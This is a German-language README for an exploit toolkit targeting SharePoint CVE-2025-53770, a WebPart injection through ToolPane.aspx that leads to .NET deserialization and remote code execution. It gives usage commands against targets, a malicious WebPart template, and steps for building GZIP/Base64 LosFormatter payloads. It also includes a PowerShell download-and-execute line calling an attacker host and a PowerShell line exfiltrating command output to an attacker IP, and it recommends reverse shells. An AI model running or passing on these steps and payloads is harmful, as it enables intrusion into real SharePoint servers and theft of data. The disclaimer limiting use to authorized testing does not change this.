CVE-2025-53770-Exploit

📌 SharePoint WebPart Injection Exploit Toolkit

🍕 Exploit-Tool für SharePoint WebPart Injection über ToolPane.aspx, das zu .NET-Deserialisierung und möglicher Remote-Codeausführung (RCE) führt.

Entwickelt von: @GOTOCVE

🌍 Überblick

Dieses Tool nutzt eine Schwachstelle in Microsoft SharePoint (On-Premises) aus, die es authentifizierten Benutzern ermöglicht, den Endpunkt ToolPane.aspx zu missbrauchen und schädliche WebParts mit GZIP-komprimierten serialisierten .NET-Objekten zu injizieren.

Das injizierte Objekt wird im Parameter MSOTlPn_SelectedWpId platziert und in ein gefälschtes WebPart (wie <Scorecard:ExcelDataSet>) eingebettet, das vom SharePoint-Backend geparst und deserialisiert wird.

⚙️ Funktionen

• ✅ Automatische Endpunkt-Validierung (ToolPane.aspx)
• ✅ Injection von benutzerdefinierten Payloads (GZIP+Base64-codierte .NET LosFormatter-Objekte)
• ✅ Proxy-Unterstützung für Burp/ZAP
• ✅ Unterstützung für dateibasierte oder direkte Payload-Eingabe

🧪 Unterstützte Versionen

⚡ Schwachstellen-Zusammenfassung

🧰 Toolkit-Komponenten

✅ 1. exploit.py

Multithreaded SharePoint-Exploit-Tool für CVE-2025-53770.

• Erkennt SharePoint + Version
• Prüft Zugriff auf /ToolPane.aspx
• Sendet schädliches WebPart-Payload

✅ 2. YSLosf.exe

LosFormatter Payload Generator & Deserializer.

🚀 Verwendung

🔸 Grundlegende Nutzung

python3 exploit.py -u https://target -p payload.txt

🔸 Mehrere Ziele

python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080

🔸 Alle Argumente

🔧 Voraussetzungen

• Python 3.10
• Abhängigkeiten installieren:

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

• .NET 4.8 Runtime (um YSLosf.exe auszuführen)

💥 Payload-Struktur

Ihr Payload muss Folgendes sein:

1. Ein .NET-Objekt (z.B. DataSet, ObjectDataProvider)
2. Mit LosFormatter oder BinaryFormatter serialisiert
3. Base64-codiert
4. GZIP-komprimiert

Eingebettet in ein WebPart wie:

<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

🛠 Generieren von Payloads mit YSLosf

Schritt 1: Payload-Datei erstellen

Fügen Sie Ihren Befehl (z.B. Reverse Shell) in payload.txt ein:

powershell -nop -c iwr http://attacker/shell.ps1 | iex

Schritt 2: Base64-Payload generieren

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialisierte Zeichenfolge:
/wEFBWZsdG1j

Base64-codiert:
L3dFRkJXWnNkRzFq

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialisiertes Objekt:
fltmc

Schritt 3: Komprimieren & finalisieren

# compress.py
import gzip, base64

with open("base64.txt", "rb") as f:
    b64 = base64.b64decode(f.read())
    gz = gzip.compress(b64)
    # print(base64.b64encode(gz).decode())
    encoded = base64.b64encode(gz).decode()

with open("payload-final.txt", "w") as out_file:
    out_file.write(encoded)

Speichern Sie die Ausgabe in payload-final.txt und übergeben Sie sie an das Exploit-Tool.

🧵 Unterstützte Gadget-Ketten

• System.Data.DataSet
• System.Data.Services.Internal.ExpandedWrapper
• System.Windows.Data.ObjectDataProvider
• System.Web.UI.LosFormatter

📡 Hinweise zur Befehlsausgabe

Diese Schwachstelle gibt keine Ausgabe (z.B. ipconfig) in der Antwort zurück. Sie müssen:

• Reverse-Shell-Payloads verwenden
• Oder die Ausgabe exfiltrieren:

powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"

⚠️ Rechtlicher Haftungsausschluss

Dieses Tool dient ausschließlich zu Bildungszwecken und autorisierten Sicherheitstests.

Verwenden Sie es nicht gegen Systeme ohne ausdrückliche Erlaubnis. Missbrauch kann illegal und unethisch sein.

🔍 Erkennung

Wenn ein anfälliger Server das Payload akzeptiert und MSOTlPn_SelectedWpId zurückgibt oder die Seite mit dem injizierten WebPart rendert, ist er wahrscheinlich ausnutzbar. Keine Ausgabe bedeutet, dass die Deserialisierung fehlgeschlagen ist oder der Server es gepatcht hat.

🛑 Rechtliche Klarstellung & Umfang dieses Tools

Dieses Tool liefert und führt keinen Shellcode, keine Web-Shell aus. Es demonstriert lediglich die Ausnutzung der .NET-Deserialisierungsschwachstelle (CVE-2025-53770) über den anfälligen Endpunkt ToolPane.aspx unter Verwendung einer schädlichen WebPart-Struktur, die ein GZIP-komprimiertes .NET-Objekt enthält.

🔹 Zweck: Forschern, Red Teams und Verteidigern zu helfen, anfällige SharePoint-Server zu erkennen und den Injektionsvektor sicher mit benutzerdefinierten Payloads zu testen.

🔹 Payloads: Das Tool erfordert, dass Benutzer ihre eigenen Payloads generieren (z.B. mit YSLosf.exe), die als Base64-codierte GZIP-Strings in das WebPart eingebettet werden.
Es liegt in der Verantwortung des Benutzers, geeignete und ethische Payloads auszuwählen (wie harmlose calc.exe-Ausführung, Beacon-Marker usw.).

🔹 Keine Reverse-Shells/Web-Shells enthalten:
Obwohl Angreifer in freier Wildbahn Web-Shells wie spinstall0.aspx ablegen könnten, enthält dieses Projekt keine solche Logik.
Wenn Sie eine Reverse-Shell ausliefern möchten, müssen Sie Ihr eigenes Payload manuell generieren und die volle Verantwortung für dessen Nutzung übernehmen.

Star History

📢 Weitere Exploits & CVEs?

Treten Sie @GOTOCVE auf Telegram bei:

• 🔍 Wöchentliche CVE-Analysen
• 🧠 Tiefgehende Exploit-Writeups
• 🛡 Red & Blue Team Content
• 💣 Echte PoCs & Erkennungstipps

📬 Kontakt

Erstellt von Ali Soltani
Für Forschungsanfragen oder Fehlermeldungen kontaktieren Sie uns über Telegram